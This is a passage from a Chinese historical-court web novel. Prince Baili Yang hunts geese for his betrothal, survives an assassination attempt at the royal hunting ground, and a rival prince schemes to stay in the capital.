这对候男女成婚的年龄普遍都早。男子还好说,成了亲也依旧是住在家里的,可女子是要嫁到别人家去的。崔若已经及笄,崔预夫妻俩早就开始为她相看未来夫婿的人选了,确实用不了几年就要离家嫁人了。 而崔栋说的相处时间不多,追溯原因还是在百里漾身上。崔栋跟着百里漾就封,作为江都王的属臣,他到时也是要随着去的,自然的也就没有多少机会兄妹相处了。 作为“罪魁祸首”,百里漾愧疚,也说不出什么话来了。 百里漾与百里澄约了辰时二刻在湛京城东门外碰面。时辰一到,城门口处便迎来了一队声势颇为浩荡的队伍,威武气派的玄金甲士肩扛黑底镶金纹赤龙三角旗出现在众人的视野之中,占据了道路三分之一的空间。行人皆退避两旁却又忍不住好奇伸头去观望。 崔栋不由瞠目,“陛下竟然将羽林卫派来了。” 羽林卫作为皇帝的侍从亲军之一,向来是只护卫皇帝,没有想到这次竟然被派出来随行保护栎阳长公主和阳陵都主,足见帝王对她们的恩宠。 高头骏马之上,一骑装尽显英姿健飒的百里澄带着同样骑装打扮的阿荧不多时便来到百里漾他们跟前,双方相互问好之后,百里澄解释了一句,“陛下昨个知晚阿荧要去狩猎,不放心便拨了羽林卫与我们同往。” 崔栋觉得陛下不放心的何止是阿荧一人,长女,五子还有小孙女都要往城外去狩猎,任何一个出了点事都难以接受,于是便派了羽林卫来保障他们的安全。 “人既齐了,出发吧。”百里澄扫一眼几人,说道。 他们此行要去的地方是位于湛京东郊约一百二十里外的皇家围场。那一带在泰始元年九月被高/皇帝下令圈做供天家行猎的围场,并在边上建了行宫。每年皇帝都要带着亲近左右以及将军臣子们去狩猎个一两回,大多数是秋日,称作“秋狝”。只不过近几年皇帝身体不大好,秋狝也停几年,除了百里澄偶尔去过几回,行宫那地也没啥人去。 一路奔驰,百里漾等人将将在天黑之前抵达了行宫。驻守行宫的人员提前收到命令,将所有该准备的都准备好了,以便迎接即将到来的几位出身高贵的天潢贵胄以及皇亲国戚。 驻守行宫的主管官员行宫令提前为他们准备好了膳食、热汤等,并率众人在行宫正门前迎接。 “今日且先各自休息,明日再去围场。”行宫的台阶之上,百里澄抱着已经困倦到睡着的阿荧,对着同样一路风尘身染必疲惫的百里漾等人说道。 快马赶了一百多里的路,百里漾和崔栋还好说,但崔若小姑娘就不大受得住了。故而对百里澄的话,他们都没什么意见,作别之往各自的住处去。 行宫规模并不小,最大的主宫是帝后所居,其余的一些宫殿也被皇帝分给了底下的儿女们。不过因为诸侯王就封五年不朝的缘故,百里漾已经足有五六年之久没来过这里了。 作为椒房嫡出,百里漾在行宫所住的宫殿还是不小的,里面的一应布置大体还是他以前来时的模样,看得出此处的行宫令颇为用心。宫殿里有一处凿出来浴池,引山中的一处活泉进来。百里漾舒服洗了澡,疲乏洗去大半,反倒没了困意。 行了一日的路,其他人怕是睡了。百里睡不着,又不好去打扰别人,干脆自己在殿里走来走去,别说还真让他找到一些有趣的东西,正把玩着,忽传来外边守夜的侍人的禀报声音,“大王,崔都尉在外求见。” 第34章 围场 百里漾眨眨眼, 颇为惊喜,连忙道:“让他进来。” 侍人还没发出通传的声音,崔栋大刺刺的声音就传来了, “我猜你是没睡,看我拿了什么过来”。举着手里拿着的小酒瓶晃了晃。 “果然还是这般喝酒才舒服。”崔栋对着瓶口狂饮,连连叹道。 星空在顶,晚风吹拂。处在山林旷野之间,别有一番宁静滋味。百里漾说他, “你可悠着些, 别把自个喝醉了, 明日若是起不来,小心若表妹生你气。” “不会不会, 这点酒还醉不倒我。”崔栋拍胸口表示自己是海量,拍拍大腿又说, “主要是骑了一日马,这不两侧磨得有点疼, 喝点酒好睡觉不是。” 他一副“你也懂”的表情, 整得百里漾面色微僵, 大腿内两侧应景似的开始觉得有点痛了。这是不可避免的。骑马时间长就是容易磨胯,涂点药会好些,否则明日再上马背就有点艰难了。 这么多年了百里漾还是不大可惯崔栋这种“直白”的说话方式。他清了清声,转了话题问道:“你与卢家姑娘的婚期可定下了?” 按照崔预夫妇的打算,怎么着也要亲眼看着儿子在跟前成婚才行,否则也不会不等崔栋回来就定下了卢氏女作新妇。百里漾估摸着,崔栋的婚期应该在自己的之前。 “暂时没有。”崔栋闷了一口酒,声音低沉下来,目光也有些沉凝, “阿爹阿娘在请灵台丞算着,想必也快出结果了。” 百里漾觉得崔栋是犯了婚前恐惧症,心里又焦又躁无处发泄的那种。他也只安慰崔栋道:“舅父舅母不会亏待于你,定是多番相看斟酌过后才为做此决定的,顺其自然便是。” “卢氏是好女,我知道。”崔栋眉头一皱,但不想让自己陷在这种消极的情绪里,举起酒坛,“届时我可要让你去做傧相的。” “那是自然。”百里漾亦持酒坛与他碰了碰,两人又饮了一大口。酒入喉落下,一股热意在胸口里升起。崔栋忽眯了眯眼,再看左右,周围伺候的人早已被摒退,有些话不用那么顾忌了。 “皇后殿下可有说我们何时回去?”回的指的是回江都。 他问的是皇后,实际上却是在探皇帝的心意,真正决定百里漾何时回江都的人只有皇帝。而皇后作为椒房之主,是最能知道皇帝心意的人。 其定按照他们的想法,若是能将百里漾留在江都不走是最好的。但这也只能想想,因为知道这几乎是不可能之事。朝中需要制衡,皇帝也没有表露过这个意思。 百里漾瞧了崔栋一眼就明白他的意思,略略思索,将那日在椒房殿时吉日册子的事情说了,崔栋心里一琢磨也有数了。 他又哼哼唧唧地说起定安王那几个诸侯王的事,老大不爽,“定安王几个如今可风光得很。王宅中大宴小宴不断,舞乐彻夜不休,宴请了朝中不少大臣。” 这事百里漾也知道并不意外。定安王对储君之位是有想法的,可如今太子仍在,他当然不会傻到明晃晃地表露出来,但也就差了那一层薄薄的窗户纸罢了。 此次他好不容易回到湛京,不得抓紧一切机会拉拢大臣,为自己将来的道路寻找可用的基石。而因为衍朝封王就藩的祖制,诸侯王坐拥一方,有权有势,有的是人企图巴结讨好他们。朝中大臣即使不愿意归附也少有人会选择交恶,面子上再怎么样也会过得去,一般收到诸侯王的请帖也会去赴宴。于是定安王等人的王宅自然也就出现了门庭若市的景象。 “他们也就高兴这一阵,且由他们去又何妨?”百里漾对此不甚在意。 现在的形势总体而言对他以及东宫、椒房是有利的,定安王再得意,过一段时日即便再是心不甘情不愿也依旧要返回封地。而且他始终记得长姐说过的那句话,“他们做的你看得见,朝臣们也看得见,陛下更会看得见”。 现在东宫才是正统,定安王一切僭越的举动都可以视为对东宫的挑衅。一次两次的也就罢了,东宫素仁慈,惦念着手足兄弟之谊不曾出手反击。可若是定安王之流依日难遏贪婪之心、咄咄逼人。世人也只会觉得是定安王之流不对,东宫再做任何反击都是合情合理的。 崔栋品了品他的话,点了点头,没再说什么,抬手欲再喝一口酒,却发见酒坛里已经空了。百里漾见状笑道:“行了,回去就寝吧,明日别真的起不来床。”他手里的酒坛也空了。 崔栋愣完也笑,“成,明日入围场,我们再比一场。”然后就大步离开,很快就消失在了百里漾的视线之中。 翌日,百里漾他们醒来用了朝食之后,带齐了干粮、水等物,留二百羽林卫在行宫待命,另外三百羽林卫则随同百里漾他们进入了围场之中。 能够作为皇家狩猎的围场自然是很大的,附近的几处山林都被围了出来。因这几年之中并无秋狝冬狩,围场之中的野物大肆繁殖,此次百里漾他们前来之前并没有派遣军队提前驱赶大型猛兽和清场。 故而为了安全起见,百里漾等人并不打算深入围场。 阿荧因为年岁不大的缘故,一直都是由百里澄带着同乘一骑。围场狩猎这样前所未有的体验让她极为兴奋,眼睛闪闪发亮,一路都在欢笑,比百里漾在东宫时见到的更加活泼欢乐。 百里澄纵容着阿荧,一路带着阿荧引导她狩猎。可阿荧毕竟还小,使用的小弓是有司特别为她量身制作的,威力有限,顶多能射猎一些体型不大的活物。又因为阿荧年龄小力气不足,往往发现了猎物也猎不到反而将其惊跑了。次数多了,阿荧小脸上就出现了沮丧之色。 百里澄不以为意,摸摸阿荧的小脑袋,安慰道:“没关系,阿荧已经很厉害了。”随后拿出一支小巧玲珑的手持弩箭递给阿荧,手把手教她如何使用,“将此处对准目标,然后扣动这块。” “嗖”的一声破空,一束冷光应声射中了远处草丛里蹲卧的一只灰兔。随从的羽林卫立即上前将猎物捡过来给两人看。 百里漾择挥手,羽林卫更带着猎物退下了。阿荧惊喜之余,心神被手中的弩吸引了,她看了看自己之前用的小弓,眼神带着些茫然,习惯性地看向自己的姑姑求解。 百里澄道:“使弓更靠己力,用弩更轻巧灵便,但终是外力。能力尚不足时可适当借用外力,但也不可一味借助而忽视了自身能力的培养。需知外力不是一直能有的。” 阿荧听后小脸上似懂非懂,但也把这句话先记住了。 另一边,百里漾和雀栋、崔若兄在周边转了一圈。可他们再加上随从的羽林卫数量太多,一行动光是马蹄踏出来的动静就吓跑了一大部分觉感敏锐的动物了。 跑了一圈下来,基本没有猎到什么猎物,又回到了百里澄这边。 这么多人确实不好行动,百里澄看见几人眼中的跃跃欲试,狩猎本就要分头行动才能尽兴。她开口道:“你们去吧,切勿涉险。” 于是百里漾三人带走两百羽林卫,往另一个方向去了。 百里漾的目的很明确,他只是猎雁,但来了挺久也没见到一只大雁的影子。 “奇了怪了,怎么一只长翅膀的都见不到呢?”转了一个时辰,鹿、獐子等活物见了不少,随行的随从马背上也挂上了不少猎物,崔栋频频抬头望天,不禁纳闷道。 百里漾扭了扭仰得有些许僵硬的脖子,看一眼身后浩荡的人马,思考一番之后对崔栋兄妹说道:“分开吧,我再那边去看看。” 崔栋有些犹豫,百里漾则道:“你放心去,只是猎雁而已,这么多羽林卫还护不住我一个么?”崔栋带崔若来本就是想让妹妹尽兴玩一场的。若是一群人挤在一处,还如何尽兴? 想了想,崔栋道:“行,我们分头行动。万事注意着些,有事招呼。” 于是,一群人马再次分成了两拔。 百里漾引着缰绳山林里走了一段,见到地上走的树上挂的也不动手,中途遇到一只熊瞎子。对方看这边两脚兽人多势众,弓马精良,一看就不是好惹的,吼了两声达到震慑的目的之后跑进山林深处去了。它这么一跑不要紧,一路惊飞了一群栖息在山林隐处的林鸟。 “大王,看那,有雁!” 随行的羽林卫一指天空喊道。 百里溪顿时一喜,刚要拍马追上,选择先抬手止住后面的人,叫了二十骑随他跟上去。猎雁而已,并不需要太多的人。 百里漾骑马率先奔到了一处较为开阔的草地,仰望着头顶上不远振翅而飞的几行大雁,在马上引弓搭箭,看准时机,放弦,两支箭瞬时离弦疾射而去,正正射中两只比邻而飞的大雁,发出两声哀嚎,径直坠落而下。 “大王好箭法!” 立时有人奔去寻找掉落下来的大雁。 虽是一下射中了两只大雁,但也不能保证都是活的。好在去捡大雁的羽林卫很快将两只大雁捡回来。百里漾一见只射伤了翅膀,大喜。身边的羽林卫连忙取了提前准备好的笼子,将两只大雁装进去。 百里漾欣喜于事情的顺利,待回去寻来了兽医给治伤就可以拿去下聘了。四下远望这围场的山林茫茫,隐约还能在风声中捕捉到蛰伏隐藏在密林深处之中猛兽的低吼。 第35章 遇刺 “先回行宫。”百里漾想到长姐与崔栋两拔人一半会儿还不会离开围场, 留了人报信,自己则先回行宫。 可没想到回去之时却出事了。 他们经过一处山林时,偶见一只红毛狐狸被藤蔓缠住, 正慌乱地“吱吱”乱叫。 百里漾见其长得白胖可爱,想着捉回去做宠物或是送人都可。于是他抬手止住其他人,自己翻身下马,拿了兜网小心靠近。 这只狐狸不知道是吓着了还是本就是这么傻的,目光呆呆的, 见有人来捉它也一动不动, 在兜网里缩成一团。百里漾提着兜网回来, 中途狐狸突然挣扎要脱逃,百里漾顿足把它按住。 也就是这一瞬间, 一箭骤然从他的左侧擦过,“嗖”地钉入了前方的树干之上。 “有刺客, 护驾!”实如其来的冷箭惊到了所有人,羽林卫等人瞬时将百里漾团团护在中间, 另有三十人朝着冷箭射来的方向疾奔去捉拿刺客。 “请大王即刻避去安全之处。”百里漾被拥护着上马, 反应过来后一颗冷汗从额角滑落。 方才那一箭, 真的,差一点就射中他了。 前后两辈子加起来,这是他第一次遭遇刺杀。后怕之后,百里漾让自己冷静下来。对方既是暗中行刺,那么人数必定不多,只是行藏隐蔽,一击不成,后续再无动静。行刺者此时必定在逃蹿。 “快,立即传信与长公主、崔都尉他们。”百里漾立时喝令道。 焉知这次行刺是冲着他一个人来的, 还有都有。百里漾觉得不能再等,当即带着大批的羽林卫去寻百里澄他们了,好在他们两处都没有异状发生。 一次好好的围场狩猎之行就因为突生的变故被迫结束了。 “鼠胆苟且之人,竟敢暗箭伤人!” 崔栋重重一拳擂在桌子上,使之震了一震,气得破口大骂。天晓得他在围场之中得知百里漾遇刺是如何惊怒,又想到栎阳长公主和阳陵郡主还在围场里,他当即带着人去与之汇合,发现两人安全无虞并无刺杀之事才与百里漾一般齐齐松了一口气。 回到行宫之后,百里漾、百里澄与崔栋三人围着一支箭矢而坐,面上皆是沉凝与压抑的怒火。羽林卫已去搜山,但几乎可以预料不会有什么好的结果。围场那么大,山林密布,藏个把刺客根本不是问题。对方一击不成就迅速退去,若是熟悉围场周边地形,想要逃离并不是难事。 很明显,对方是冲着百里漾来的。 那背后之会是谁? 老二百里洪,还是其他的人? “箭是自制的,磨刻的痕迹很粗糙。”百里澄是最为冷静理智的人,这支差点射中百里漾的箭矢被她拿在手中端详,片刻后掷在桌面上,明艳的面容上透着冰冷。 崔栋怒道:“他们也就敢使这种下流伎俩了。” 他们指的是谁,现在还不得而知。 箭矢是人为手工磨制的,那就不能从箭矢的来源去追查,毕竟自制一支箭矢对于很多人来说并不难,随便找来一名山中的猎户都能制作。如果搜山抓不到刺客,那就真的无从追查真正的幕后凶手。 “难道就这么平白忍下这么一个大亏么?”崔栋怒火都烧到了眼睛里。他此刻既是后悔又后怕,差一点他的兄弟就没了。他绝对不能放过幕后指使之人。可查不到证据,这是最让人无力的。 崔栋觉得甚至都无需去想,做出这等阴毒狠辣之事的除了定安王那些人,还能有谁?天底下最巴望着东宫和江都王都没了的人不就是那群狼子野心的么?可他们却什么都做不了,只凭一支来历不明的箭矢,什么都指认不了。 “你先坐下。”百里澄瞥他一眼,说道。 崔栋虽然依旧愤怒,还是听话坐回了自己的位置。 “阿姐有何对策?”百里漾的魂魄此时已定下,他亦很冷静。 眼下事情已经发生,万幸的是他并没有因此受到损伤,愤怒无济于事,后续就该冷静地去思考如何处理此事。没有证据,似乎只能隐忍不发。但他又不甘,就如崔栋所说,难道他们要硬生生地咽下这个哑巴亏么?可他一时想不出什么好的对策,只好看向百里澄。阿姐总不会让他吃亏的。 百里澄当然不会让这件事情就这么算了,差点中箭的是她同胞弟弟,幕后之人用心歹毒,必然不能轻易放过。她心思不过几转,便有了定计。 清亮的目光落在对面巴巴望着她的百里漾和崔栋身上,百里澄沉声道:“此事我们回京之后皆隐下,谁也不要提及。” 隐下不提,还是要暂且隐忍不发么? 不,当然不是,这才是开始。 当晚,百里漾等人依旧是在行宫过夜。一直到了半夜,搜山的羽林卫才收到长公主的命令回返。对于为何要搜山,绝大部分羽林卫的认知是白日江都王差点遭受猛兽袭击,上头命他们搜山是为了驱逐猛兽。只有极少数的人知道真相,其中就包括羽林卫中郎将。 而对于行宫这边的人来说,羽林卫突然搜山让他们颇为惶恐,在得知此举是为了驱逐大型猛兽之后,心才稍微定下。可行宫令老练,他隐约从中嗅到一些不寻常的味道,总觉得这看似平静的湖面下在酝酿着未知的危险漩涡,禁不住生出了许多消不去的惊恐不安来。 躺在行宫的床榻上,百里漾辗转难眠。 其实在回湛京之前他就有过心理准备的,这一次回京不会平静。他此生投身于帝王家,椒房一脉又是如今这般境况,局势如此,有人要与他们争,那他们便不能不争。在尘埃落定之前,权力的斗争厮杀之中发生什么样的事情都有可能,他该有心理准备的。只是没有想到这一天会来得如此之快、如此突然,而他在不久前差点成为第一个出场的人。 百里漾在翻来覆去好几转之后,长长地吐出了一口浊气。他开始思考这次刺杀的背后之人可能是谁,这个时候对他下手于对方而言有何利弊。 其实根本不需要多想,他若被刺身亡,椒房一脉便会不可避免地露出巨大的短板。就如一辆正在疾驰的马车,外表看着再如何华丽坚固,骤然失去一只轮子,最终的结果必然导致车毁人亡。百里漾并不怀疑他的皇帝阿爹会因为他的死而愤怒进而杀掉一些人,但在愤怒过后,皇帝也终究会为了大衍的江山承继而考虑在定安王那些子嗣中挑选储君的备选人。 看啊,现实就是这般残酷。 他死了,总有人会得利,而后续的事情也一定会这样发展。 皇帝如今可以立起来的儿子并不算多。百里漾清楚地知道,皇帝阿爹会心疼自己,不代表不会心疼其他的儿子。在已经死了一个儿子的情况下,即便后面能够找到证据指认凶手,而这个凶手是皇帝的其他儿子,皇帝会愿意再死一个儿子么? 百里漾不敢赌这种可能。 而定安王那些人,即使一开始可能会被皇帝的怒火烧掉一层皮,可只要不死,后面总还有卷土重来的机会,最终的赢家也只在他们之中诞生。 这次刺杀当真是奔着他们的命脉来的,之前的那些挑衅都只能算小打小闹。 百里漾陡然想到,他若是死了,阿娘如何受得了,她本身就患有旧疾未愈,丧子之痛如此能够承受得住?他不敢去想象那个后果。 黑暗中,百里漾睁着眼睛,面容覆上一层坚硬的寒冰。 翌日清晨,行宫令等人恭恭敬敬地送走了百里漾一行人。直至羽林卫鳞甲上闪烁的光芒都看不见,行宫令等人才直起身。 想起离去之前栎阳长公主特意敲打他的话,行宫令的后背逐渐被冷汗浸湿,忍不住一阵心惊胆战。他的预感没有错,昨日在围场之中一定是出事了。有一场可怕暴风雨正在酝酿,就是不知道会不会殃及到他们身上。 “到底是椒房所出,这排场就是不一样,我等就是拍马也赶不及啊。” 湛京城最大的一条街上左道的一座三楼建筑之上,长夏王左拥右抱两个美婢,吃着她们喂到嘴边的食物、喝着小酒,时不时调笑两句。一伸头望见街道上整装走过的羽林卫,目光落在前头被簇拥着的百里漾等人身上,心里老大不爽,言语上就带出来了。他心中还记恨着椒房害他被皇帝削掉一郡之地的事情。那可是一个沃郡啊,一想起就跟割心肝肉似的。 “阿爹向来恩宠椒房,而自古嫡庶分明,若要怨也只能怨我们没有嫡子的命。” 这声音就在对面,长夏王抬眼看去,应景似的一抹惆怅,摇头笑叹道:“万般皆是命啊,半点不由人。弟弟我有如今这般滋味的日子过着,也心满意足了。” “四郎乐天知命,倒叫为兄好生敬佩。”定安王面上温和的笑容不减,眼底却藏着鄙夷和不屑,但心中更多的则是怀疑和防备。他的这些兄弟们,一个个的都不能光看表面。这次他约长夏王出来喝酒一叙,明面上说是兄弟数年不见出来叙叙旧,实际上是来试探试探这些兄弟们的态度,主要是对东宫的态度。 而选在这处酒楼主要是视野开阔,一眼就能将下面街道的情形看得清清楚楚。本以为百里涌怎么着都会因为削地之事对椒房一脉心生怨恨,没想到竟是这么一回答。定安王当然不会相信长夏王不恨,他不是怂就是太会装。 第36章 回程 定安王的话, 长夏王笑笑便过去了。但定安王本来就是有心要试探他,怎么可能让他轻易将话给揭过去。但他并不急于一时,抬手举杯饮一口酒, 定安王瞧着羽林卫的身影越走越远,微眯眼,忽说道:“不是去围场行猎么,才两日就回来了?”他觉得有些不太对但也这是一闪而过的想法。 有羽林卫在,又是这个节骨眼上, 谁敢惹事, 便没有再想。 “谁知道呢。”长夏王并不在意, 专心搂着身边美婢与她们调笑,时不时拉拉小手, 香两口,听了定安王的话, 一手搭在栏杆上歪着头,“听说是去围场猎雁去的。过几日就要往定国公府下聘。啧啧, 若是让我娶到这么一个美娇娘, 比说大雁, 就是大虫我也能猎来。阿爹还真是偏心,连定国公府也给椒房了。” 定安王陡然捏紧了手中的酒盏,蓦地又放松了,就着这个话题说下去,“依我看父皇的意思,怎么着也要留五郎在湛京成了亲再走,亲迎的日子还没定下么?” 长夏王知道他要说什么,也乐意顺着他的话往下说,“怎么没说, 灵台丞早算好了两个日子,一个七月十二,一个八月初六,就是还没彻底定下。” 诸侯王大婚,婚期总要有,这也不是什么秘密,稍微打听一下就能知晓。定安王何必明知故问,可他既问了就必有目的。 长夏王这会儿已然猜到定安王想说什么了。 定安王瞧了长夏王一眼,见他还在与婢女调情,按捺住心底的厌烦与恼怒,面带遗憾道:“说来我们几个兄弟之中,为心兄成婚早,后又去封地,却是无缘得见弟弟们成婚,说来也是一件憾事。” 当今皇帝七子,封王就藩的有四子,目前已成婚的也只有定安王和长夏王。而两人又有所不同,定安王是在湛京成婚后再去的封底,长夏王成婚时已就封长夏国,他的王妃是由女方家送嫁至长夏国的,定安王自然也见不到长夏王成婚。若是不久后他们按照规定回到各自的封底,他也必定见不着百里漾成婚。 定安王这么说当然不是因为真的兄友弟恭、真心想看弟弟成婚,他的最终目的是延长留在湛京的时间。以如今的情况来看,百里漾留在湛京成婚之后再回封地是难以更改的了,这也是此次岁贡回京、东宫退让他们需要付出的代价。 定安王看得很明白,太子不死,他们这些兄弟迟早是要回封地的,即使是百里漾因为要成婚晚一两个月再走也不碍什么事。 可他担心的是这个么? 就如他一门心思想要回湛京一样,东宫与椒房那边的人也在卯足了心思想办法让百里漾从封地回到湛京。迟则易生变,定安王怕就怕百里漾多待在湛京的这一两个月里,椒房他们想出什么法子磨得皇父答应让百里漾长期的留在湛京。一旦太子病死,百里漾近水楼台先得月顺理成章地成为了新的太子,哪还有他什么事? 要留一起留,要走也得一起走。 定安王与心腹左右商议过了,若是以诸侯王已就封在京行婚仪不合规矩为由向皇帝上奏,必然会招致皇帝的不满。既然不能阻止那就想办法换个思路让自己也能留下来。 周贵妃曾对定安王说过,“你阿爹这几年逐渐老了,日前我替他梳发时发现底下全是白发。你平日若是多顺着他些,时常把孩子带入宫来给他瞧瞧,他会欢喜的。” 于是思来想去,他便想出了这招。但光他一人去与皇帝说未必能行,最好能将老四和老六都拉上。老六那他已去找过了,那小子没让他多费口舌就应了下来。就是这个老四,平日里看着最是放诞轻狂,实际上也不是个简单的货色。 而定安王刚把这个意思透露出来,长夏王当即就是皱眉,为难道:“弟弟也不怕二哥笑话,这湛京虽好可我却是不想多待的。皇城规矩森严,哪有我在封地快活自在。” 他确实不是一个安分的,前面惹了皇帝大怒削了一郡之地后,老实了一段时间,可没过多久就开始故态复萌,又惹出了几起子事情,让御史把弹劾他的奏本都送到皇帝的案头上。皇帝一开始是压下不理会,但参奏的数量多了他也无法完全坐视不理,将长夏王叫进宫来训了两回。由是如此,长夏王能痛快才有假了。 真是没出息的废物。 定安王暗骂了一声,想了想,换了一个说法,“四郎就要这么灰溜溜地回去么?二哥我是替你担心,别忘了,你长夏国的封地本就不多,此次阿爹削的可是一个沃郡,若是不能在回去之前求得阿爹心软给你重新赐地,这以后的日子还能像这般舒服么?” 那必定是不能的。 长夏王突地一下挺直了身子,拧眉沉思片刻后挥挥手让身边的美婢全都退下。自己知道自家事。诸侯王的日常开支并不是一个小数目,收入很大一部分是来源于封地的税收,一下削去了一个沃郡,长夏国往后的收入都要少掉将近一半。长夏王自己本身就是挥霍无度的,陡然少了快一半的钱,日后这日子还怎么过? 定安王一看就知长夏王被他说动了,心下满意,说道:“过两日去宫中拜见阿爹时我们兄弟一道说此事,想必阿爹不会不同意的。” 他们这边定下了,那边羽林卫将栎阳长公主、江都王等人全都护送回去之后,领头的羽林中郎将马不停蹄地就往皇帝所在的宣室殿复命。 得知长女、五子与小孙女全都安然回来,皇帝多问了一句聘雁的事情。羽林中郎将拱手答道:“江都王好射术,两箭齐发就射下了两只活雁。” “哦,五郎果真是射艺过人”。皇帝不是第一次听到类似的回答,上次越国长公主游园会上的比箭他亦有所耳闻,自然相信此事的真实,心中难免骄傲。 羽林中郎将看出皇帝心情好,回道:“此乃众多羽林卫亲眼所见。” 皇帝肉眼可见的更加高兴,对羽林中郎将说道:“此行羽林卫护卫有功,皆赏。” 羽林中郎将谢恩,眼看着该退下。重新将目光放回奏本上的皇帝一抬眼,见他面上迟疑犹豫,皇帝脸色一沉,搁了御笔,眼里积聚雷霆威势,“说罢,还有什么事?” 江都王宅的前院里,百里漾一回来就令人将两只大雁带下去,再寻一名兽医来给它们治伤。属臣听闻百里漾回来急忙奔来见他,见他安然无恙回来很是高兴,又告诉他负责制做婚服的有司昨日登门将新制的婚服送来,请大王试试合不合身,若有不合之处再返回去改。 百里溪心中挂着事,点头表示自己知道了,越过属臣往里去了。 属臣觉得自家大王瞧着怎么有些神思不属,莫不是去围场两日来回奔波累着了?必然是如此,围场距离京城可不算近,两日余的时间就要来回是赶来些。 唉?属臣后知后觉地发现,是啊,大王怎么这么快就回来了。此前他预估着再快至少也要三日才能回来,莫不是真发生来什么事情? 东宫之中,百里澄将阿荧送回到太子妃那里。太子也在,两日不见女儿,他心中想得紧。问了些围场狩猎有不有趣的话,看女儿揉着眼晴困了,便让太子妃带她回去休息。太子妃离开之后,侍女为二人沏茶,太子一挥手,室内伺候的人便都退下了。 “发生了何事?”太子面容上带了凝重,问道。 兄妹俩彼比帮扶多年,早已有默契,此次围场之行匆忙,而百里澄送了阿荧回来却不急着离开,必然有事要同他说。 百里澄将百里漾在围场险些被刺的事情说了,随后将那支箭矢放在太子面前。太子在经过初时的惊怒之后亦迅速冷静下来,拧眉捏着箭矢看了片刻后问道:“此事你们可有对策?” 在太子看来,此事百里漾未出事实属万幸,即使没有证据指向幕后之人,但也不可就此算了。诸侯王遇刺并非小事,可至今却无半点风声传出,其中必然有百里澄他们的手笔,想来他们在围场之时就已经商量出了对策。 百里澄对太子说道:“仅凭一支箭矢,毫无作用,拿出去还容易被指有污蔑之嫌。”揭发指认均是要拿出实证的,事情越是大就越是要铁证,冒然拿一支不知来路的箭矢当物证,不仅不能取信于朝臣,更不能让皇帝相信。无论是椒房还是东宫都不会做这么愚蠢的事情,但这也不代表他们什么都不能做。 百里漾差点被暗箭所伤是事实,此乃一众羽林卫亲眼所见,做不得假。羽林卫搜山之事动静之大,瞒不住人的眼睛,最终也会传到皇帝的耳中。以太子和百里澄对皇帝的了解,他必然会过问,回去复命的羽林中郎将也一定会据实以答。 儿子险些遇刺,皇帝却是从羽林中郎将口中才得知此事,他心中会如何想?而百里漾他们唯一需要做的事情就是隐瞒下遇刺的事情,绝对不去皇帝面前去告状控诉,做出一副要隐下此事、若无其事的姿态。受害者选择咽下这份委屈,为的是什么,皇帝心中自会去想。他们静观其变就是。 “此事不能瞒着阿娘,我去说吧。”百里澄喝了茶解渴,搁下茶盏说道。差点遇刺的是他们的幼弟,此事不能不让皇后知道。 第37章 发酵 “许多事, 辛苦阿澄了。”太子忽然对百里澄这般说道。 他向来身体不济,许多事情就要妹妹帮忙担待奔走,也是因此一些歹人就恶传说栎阳长公主专横恣睢、跋扈骄纵, 惹得那些青年才俊不敢为驸马。太子心中满怀歉意,百里澄自然能领会太子的意思,并不放在心上,道:“阿兄说的什么话,都是一家人。” “一晃眼五郎都要成亲生子了, 阿娘盼着这一日也不知盼了多久, 这回她心愿得了, 剩下的就是你的婚事……”太子继续感慨,但他还没有说完, 百里澄打断了他,“算算时辰也该到阿娘用药的时辰了, 我这会儿过去还能服侍,便不打扰阿兄了。”然后她就脚下生风似的离开了东宫, 根本没有给太子挽留她的机会。 太子:“……” 这催婚的话题就一点都不能提了是吧? 之后的几日, 风平浪静。 百里漾配合着有司筹备婚礼, 其一是试婚服,有些不合身的地方提出来让有司去改了。定国公府那边也收到了天家送来的聘礼,天家娶妇,排场必然大,从聘礼上就知不凡。 为显重视,皇后虽不出面却派出身边的掌宫令。皇后盼着幼子成家不是一日两日了,不娶妇的聘礼早就开始攒了,从聘礼册子的厚度就可见一斑。其中甚至不乏天南地北来的奇珍异宝,许多宝贝更是只听说过没见过的, 也不到皇后攒在库房里多少年了。 “有劳陶掌宫来。”定国公府出面之人是曹氏,她自是见过掌宫令的。 “国公夫人言重,这是下官职责本分所在。”掌宫令亦笑回道。 前头在为下聘之事忙碌,后宅女眷居住的院落之中,颜漪则在手把手教导幼妹习字,而婢女在一旁眉目欢喜地说着下聘时的盛况,“听说那对活雁还是江都王亲去围场猎的。” 在婢女看来,以江都王之身份高贵,亲自去围场猎雁下聘而不假借于他人之手,这无疑是对她家姑娘的看重,她自然为自家姑娘感到欢喜。 颜漪也知道百里漾不久前往围场去了一趟,为的就是猎取聘雁。即将成婚的未来夫婿看重这门婚事,亦看重她,而颜漪从上次与百里漾的见面之中亦能感觉得到百里漾的这份看重之中并不单单是因为她背后的定国公府,对方有在用心。这个认知也让颜漪对这门婚事多了一点此前没有的期待。 只是,她总觉得江都王等人的围场之行透着些不寻常。两日的行程太赶,且阳陵郡主还同去,此行应当好好狩猎一回,尽兴而归才是,结果却是匆匆而回。一定是生了什么变故,但消息却被匿了下来。 颜漪再是聪慧无双也不会猜到究竟发生了何事,但可以确定的是消息是被栎阳长公主、江都王他们隐下的。以她如今的身份,还不足以知晓此事。罢了,现在过多纠结也无意义,过一阵子总能显现一些出来的。 “阿姐,你看我写的对不对?”似乎是察觉到颜漪的分心,幼妹晃了晃被捏住的小手,把她唤回了神。 “好,我看看。”颜漪暂且收回思绪,专心教导幼妹习字。 昨夜里下了场雨,洗去了铅尘,也带来了一阵凉爽的风,让人大感痛快。只是有一处例外,便是皇帝所在宣室殿。 近身伺候之人任谁都看得出来皇帝近日来的心情不好,如同没下雨之前隐忍烦躁。至于是缘由,怕也只有最近身伺候的中常侍知道。但这事太过敏感忌讳,谁又敢多言,只能等皇帝自己想明白了。 皇帝近来睡得不大安稳,一来是因为头疾复发,二来则是心里揣着事情。 那日羽林中郎将面对皇帝的质询并不敢有半句隐瞒,江都王围场遇刺与后续栎阳长公主令羽林卫搜山之事都叫皇帝知道了。自那之后,他便一直心情沉郁。 皇帝忍不住会去想,五郎遇刺,幕后会是谁在支使?刺客逃了,只有一支差点射中五郎的粗制箭矢,根本就无从查起,也就没有办法明确的地指向谁。但要说完全没有怀疑对象是不可能的,怀疑并不需要多么铁实的证据,更何况这个人是皇帝。 在得知百里漾遇刺的那一瞬间,皇帝的脑海中就浮现出了好几个怀疑对象。可他不愿意去想,却又不得不去想,故头痛至此。 “陛下,汤药来了,小心烫。”中常侍自殿外捧了汤药进来,到皇帝面前。皇帝这些时日心里头憋着事,心累连带着身体也疲惫。 